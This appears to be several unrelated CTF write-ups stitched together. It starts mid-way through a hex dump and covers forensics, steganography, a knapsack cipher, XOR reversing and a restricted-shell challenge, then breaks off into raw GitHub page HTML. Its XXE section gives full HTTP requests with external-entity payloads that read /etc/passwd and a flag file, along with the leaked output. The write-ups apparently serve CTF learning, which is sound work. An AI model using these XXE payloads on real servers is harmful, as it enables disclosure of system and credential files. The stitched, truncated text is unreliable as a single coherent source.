b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f00f5aa28a2bc33d70a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a5009e809fa530128a52a57a823ea292800a28a29005145140051451400514514005145140051451``` I used nano to edit out the beginning part. It wasn't valid hex. New file looks like this: ```$ more uncompressed45786966000049492a00080000000a0000010400010000002c01000001010400010000002c0100000201030003000000860000001a010500010000008c0000001b0105000100000094000000280103000100000003000000310102000d0000009c0000003201020014000000aa0000006987040001000000be0000002588040001000000d000000032010000080008000800fc2900005b000000fc2900005b00000047494d5020322e31302e31380000323032303a30333a32302031393a30343a313700010001a0030001000000010000000000000003000200050003000000fa00000004000500030000001201000006000500010000002a01000000000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000a000000080000010400010000000001000001010400010000000001000002010300030000009801000003010300010000000600000006010300010000000600000015010300010000000300000001020400010000009e01000002020400010000005013000000000000080008000800ffd8ffe000104a46494600010100000100010000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c213232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232ffc00011080100010003012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f00f5aa28a2bc33d70a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a2800a28a5009e809fa530128a52a57a823ea292800a28a2900514514005145140051451400514514005145140051451400a0e181c6707a569df4117d904b122af43903b1acbad8b6ff48d3761ebb4ad74e1d292947c8c2b3716a463d6869b023891e450c071c8acfe95a89fb8d249eee3f9ff00f5aa6825cd77d0aacfddb2ea43a940b1488c8a1548e80551ad4b9fdfe991c9dd719fe559``` I then used `xxd` to convert the hex to bytes and them I dumped it into a file: ```$ cat uncompressed | xxd -r -p > hex_decoded``` Running `binwalk` on that shows that theres a `JPEG` hiding in there! :O ```$ binwalk hex_decoded DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------6 0x6 TIFF image data, little-endian offset of first image directory: 8420 0x1A4 JPEG image data, JFIF standard 1.01``` It might be the flag, let's check it out. I used `dd` again to get the `JPEG` image: ```$ dd if=hex_decoded bs=1 skip=420 of=flag.jpg4944+0 records in4944+0 records out4944 bytes (4.9 kB, 4.8 KiB) copied, 0.0169934 s, 291 kB/s``` And sure enough when you open it, it's the flag! ![](flag.jpg) Flag: `WPI{M00N_mOOn}`
# IJCTF 2020 - adventure ## Description>Three hidden keys open three secret gatesWherein the errant will be tested for worthy traitsAnd those with the skill to survive these straitsWill reach The End where the prize awaits Flag is in form IJCTF{copper key + jade key + crystal key} Author: `Harsh` **Hint*** The first clue is hidden on the website ...* File names and titles are useful ## Solution All this challenge is a reference to the film Ready player one as we can see in the description of the challenge. We used this information to our advantage. ## SteganographyIn the main page of the challenge we found a long HTML comment: ![image](https://raw.githubusercontent.com/Bonfee/CCIT20-writeups/master/IJCTF2020/adventure/comment.png) Form this comment when we deleted spaces and new line and converted to ASCII:>I created three keys. Three hidden challenges test for worthy traits revealing three hidden keys to three hidden gates. The keys aren't just laying around under a rock somewhere. I suppose you could say they're invisible, hidden in a dark room that's at the center of a maze that's located somewhere up here. Maybe you should take a closer look at our logo...................................................... So we started looking at the logo. We found in the logo image at ijctf.ml some text. ![image](https://raw.githubusercontent.com/Bonfee/CCIT20-writeups/master/IJCTF2020/adventure/stego.png) With the help of steghide we extracted a file:```bashsteghide --extract -sf logo.jpg```content of the hidden File :>https://pastebin.com/Ue2VUDjk https://www.ijctf.ml/themes/core/static/img/QjMvUzIz.png https://pastebin.com/dbQXYRvZ Since the description of the challenge said that there were three parts of the key it was safe to assume every link was a different challenge. ## Copper key - Merkle–Hellman knapsack cryptosystem ### DescriptionM.H. is an asymmetric cryptosystem.The public key is composed of n integer values, with n corresponding to the number of bits of the message We define the n bits -> ![image](https://render.githubusercontent.com/render/math?math=b_{i}%20\forall%20i%20\in%20\{1,%20...,%20n\}%20,%20b_{i}%20\in%20\{0,%201\})We define the knapsack -> ![image](https://render.githubusercontent.com/render/math?math=k_{i}%20\forall%20i%20\in%20\{1,%20...,%20n\}%20,%20k_{i}%20\in%20\Z) cipher text = ![image](https://render.githubusercontent.com/render/math?math=\sum_{i=1}^{n}%20k_{i}%20*%20b_{i}) The private key is a superincreasing knapsack, with a multiplier and a modulus used to transform the private key in into public key.Anyway, we don't need the private key to solve this one We had a file containing many knapsacks of public key and the ciphertext encoded.Every knapsack was a list of 16 integers. ### SolutionSimply trying every possible combination was an 2^16 iterations problem, so quite an easy one. [Some code](https://github.com/Bonfee/CCIT20-writeups/blob/master/IJCTF2020/adventure/copper_key/expl.py) That was it.```kn4ps4ck_brut3_f0rrc3_f0rrc3``` ## Jade key - Game of life ### Description ![image](https://raw.githubusercontent.com/Bonfee/CCIT20-writeups/master/IJCTF2020/adventure/jade_key/QjMvUzIz.png) The filename of the image was base64 encoded:```bash$ ls | cut -d '.' -f1 | base64 -dB3/S23```B3/S23 stands for a set of rules for the [game of life](https://en.wikipedia.org/wiki/Life-like_cellular_automaton).We used [golly](http://golly.sourceforge.net/) to import the png file after editing the colour map with GIMP. Running golly gave us the flag:![](https://github.com/Bonfee/CCIT20-writeups/raw/master/IJCTF2020/adventure/jade_key/golly.gif) ```u1t1m4t3_g4m3_0f_l1f3``` ## Crystal key - Fourier series ### Description The name of the file redirected us to a [YouTube video](https://youtu.be/r6sGWTCMz2k) about drawing with the Fourier series. The file contained a malformed Fourier series.After formatting the series and added the time variable that was missing we plotted it with a [numpy](https://github.com/Bonfee/CCIT20-writeups/blob/master/IJCTF2020/adventure/crystal_key/plot-fourier.py) function. ![image](https://github.com/Bonfee/CCIT20-writeups/raw/master/IJCTF2020/adventure/crystal_key/last.png) With some imagination, you can see the text ```IROK``` , a character of Ready player one. The final flag can now be submitted:```IJCTF{kn4ps4ck_brut3_f0rrc3_u1t1m4t3_g4m3_0f_l1f3_IROK}``` ## Participants| ![image](https://github.com/andrea-mengascini.png?size=200) | ![image](https://github.com/Bonfee.png?size=200) | ![image](https://github.com/timmykill.png?size=200) | ![image](https://github.com/Anatr1.png?size=200) || ------------- | ------------- | ------------- | ------------- || [@aandryyy](https://github.com/andrea-mengascini) | [@bonfee](https://github.com/Bonfee) | [@timmykill](https://github.com/timmykill) | [@H4R](https://github.com/Anatr1) |****
# SQUEEZY ![](chall.png) This is the last challenge of a 4-part series: `EZ PZ LEMON SQUEEZY` And turns out, it is easy peasy lemon squeezy! We are given a [python script](pass3.py). It asks for a password, and if you get it wrong, well you'll have to deal with this: ```$ py pass3.pyEnter the password: noIncorrect password!sowwy but now you gunnu have to listen to me spweak in cat giwrl speak uwu~pwease enter youwr password... uwu~ nya!!: nooooooosowwy but that wasnt quite rwight nya~... pwease twy againpwease enter youwr password... uwu~ nya!!:``` Let's reverse engineer it! ```pythondef checkpass(): userinput = input("Enter the password: ") key = "meownyameownyameownyameownyameownya" a = woah(key,userinput) b = str.encode(a) result = base64.b64encode(b, altchars=None) if result == b'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw=': return True else: return False``` It takes a password as input, then does a bunch of stuff with it, and if the result is `b'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw='` you have the right password. Let's do this in reverse! The end result is base64 decoded: ```pythonresult = base64.b64encode(b, altchars=None)``` To do the reverse, we decode it with base64. ```pythonfrom base64 import * encPass = b'HxEMBxUAURg6I0QILT4UVRolMQFRHzokRBcmAygNXhkqWBw='part = b64decode(encPass)``` We do the same thing with the next bit: do the reverse! ```pythonb = str.encode(a)``` ```pythonpart = part.decode()``` We have a new function `woah()`: ```pythona = woah(key,userinput)``` `woah` just performs a bitwise `xor` with both operands. ```pythondef woah(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))``` And because we have the key: ```pythonkey = "meownyameownyameownyameownyameownya"``` ...we can decrypt it! ```pythondef woah(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) key = "meownyameownyameownyameownyameownya"flag = woah(part, key) print(flag)``` Flag: `rtcp{y0u_L3fT_y0uR_x0r_K3y_bEh1nD!}`
# $hell Game$ **Category: misc** **Value: 433** **Flag: flag{s0_y0u_th1nk_y0u_c@n_5h311_l1k3_a_b055}** ## Description So you think you can $hell, huh? Let's see if you can find the flag at `cha.hackpack.club:41714`. Using a $hell. _Just_ a $hell... ## Solution We are given a shell with basic functionality and no other binaries. We have to find the flag hidden somewhere in the file system but we cannot even list the files in the current directory. So, we have to construct a set of tools with what we have. Trying different shell builtins we found:* functions (func_name()( ... })* pathname expansion ( Using "*" with any other commands, expands it to the list of files in the current directory)* echo* while* for * read* test* others: set, type, alias So, we start by creating "ls":```bash$ ls() { echo *; }$ lsLICENSE-OF-THIS-PATCHED-DASH aux bin dev doc etc inc lib proc sbin src sys tmp```We seem to be at /, with something that looks like a file and other, traditional, directories. Maybe the flag is in the file, we need cat. ```bash$ cat() { while read l; do echo $l; done < $1; }$ cat LICENSE-OF-THIS-PATCHED-DASH``` Just a normal license, no flag there. We can "cd" to the different directories and see that there are mostly text files filled with different phrases, a lot of them using the word flag but what we are looking for starts with **flag{**. We need something like ```grep -RF 'flag{'```.The first step is to differentiate between regular files and directories:```bash$ lf() { for f in $(ls); do test -f $f && echo $f; done; }$ ld() { for d in $(ls); do test -d $d && echo $d; done; }``` It would also be useful something to cat all the files in the current directory:```bash$ catf() { for f in $(lf); do cat $f; done; }``` During the CTF, I actually wrote another function to recursively enter all directories and cat every file. I then searched for the flag in the buffer of my local terminal. ```bash$ catd() { for d in $(ld); do cd $d; catf; catd; cd ..; done; }$ catd``` That works but it's a little messy, it may create some problems with the connection or the server if the files are too big and it will depend on the buffer size of your terminal. So, I decided to make a Python script to do the same but one directory at the time. It is slower but safer. ```pythonimport sysfrom pwn import * HOST = 'cha.hackpack.club'PORT = 41714CMD_CLEAN_TIMEOUT = 0.3CMD_LINE_TIMEOUT = 0.3 def cmd(r, c, decode=True): r.clean(CMD_CLEAN_TIMEOUT) print(c) r.sendline(c) result = [] while True: l = r.readline(timeout=CMD_LINE_TIMEOUT) if len(l) == 0: break if decode: result.append(l.strip().decode()) else: result.append(l) return result def cat_files(r): lines = cmd(r, f'catf', False) for l in lines: if b'flag{' in l: pwd = cmd(r, 'pwd')[0] print(f'FLAG: {l.decode()}') print(f'PWD: {pwd}') sys.exit(1) def cat_dirs(r, path): result = cmd(r, f'cd "{path}"') cat_files(r) for p in cmd(r, 'ld'): cat_dirs(r, p) cmd(r, f'cd ..') r = remote(HOST, PORT)r.sendline("ls() { echo *; }")r.sendline("lf() { for f in $(ls); do test -f $f && echo $f; done; }")r.sendline("ld() { for d in $(ls); do test -d $d && echo $d; done; }")r.sendline("cat() { while read l; do echo $l; done<$1; }")r.sendline("catf() { for f in $(lf); do cat $f; done; }") r.clean(2) # Clean all the data we got so farcat_dirs(r, '/')``` These are the last lines after executing the script:```bashcd ..cd "src"catfldcd "etc"catfldcd "lib"catfpwdFLAG: flag{s0_y0u_th1nk_y0u_c@n_5h311_l1k3_a_b055} PWD: /lib/src/etc/lib``` I tried to connect again and access that path but it didn't exist. So, I guess, the flag is placed in a different directory every time you connect. ***Vox Dei***
We can input data to change the button color and add text to it. If we input <script> we trigger an error: ```Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: script line 1 and value in Entity, line: 1 in /var/www/html/index.php on line 12Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: value line 1 and button in Entity, line: 1 in /var/www/html/index.php on line 12Warning: DOMDocument::loadXML(): Premature end of data in tag button line 1 in Entity, line: 1 in /var/www/html/index.php on line 12Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13``` Therefore we will go for a XML External Entity (XXE) Injection. ```POST /? HTTP/1.1Host: custom-ui.cha.hackpack.clubContent-Type: application/x-www-form-urlencodedCookie: debug=falseContent-Length: 198 xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e <SNIP><body> <div style="max-width:600px; margin:auto"> <h1>Your custom button!</h1> <button style="background-color: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/false; padding: 15px 32px;"><SNIP>``` We change the debug cookie to true and we get a comment at the bottom of the page: `</body>` ```POST /? HTTP/1.1Host: custom-ui.cha.hackpack.clubContent-Type: application/x-www-form-urlencodedCookie: debug=falseContent-Length: 200 xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fflag.txt%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e <SNIP><button style="background-color: flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}; padding: 15px 32px;"><SNIP>```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>Hackpack2020/mousetrap at master · dosxuz/Hackpack2020 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BE48:0F8F:1986D8CC:1A514845:641220CB" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2d70cfb24cfc5defc17ba52fc73da79b6e449c69ca06d16f06639faa45260e61" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRTQ4OjBGOEY6MTk4NkQ4Q0M6MUE1MTQ4NDU6NjQxMjIwQ0IiLCJ2aXNpdG9yX2lkIjoiMTY2NjAwMTIzNzIyMzU0NzA4MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="b557f1301d2c3954133093245be0fb23beba31287ea76c93b3c8a540dd3513e0" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:260132292" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/mousetrap at master · dosxuz/Hackpack2020"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/6431ea187a2a0e23127cd57108dfdeb20e57845db8ffcef50e56d7ec61c07eb9/dosxuz/Hackpack2020" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Hackpack2020/mousetrap at master · dosxuz/Hackpack2020" /><meta name="twitter:description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/mousetrap at master · dosxuz/Hackpack2020" /> <meta property="og:image" content="https://opengraph.githubassets.com/6431ea187a2a0e23127cd57108dfdeb20e57845db8ffcef50e56d7ec61c07eb9/dosxuz/Hackpack2020" /><meta property="og:image:alt" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/mousetrap at master · dosxuz/Hackpack2020" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Hackpack2020/mousetrap at master · dosxuz/Hackpack2020" /><meta property="og:url" content="https://github.com/dosxuz/Hackpack2020" /><meta property="og:description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/mousetrap at master · dosxuz/Hackpack2020" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/dosxuz/Hackpack2020 git https://github.com/dosxuz/Hackpack2020.git"> <meta name="octolytics-dimension-user_id" content="57105533" /><meta name="octolytics-dimension-user_login" 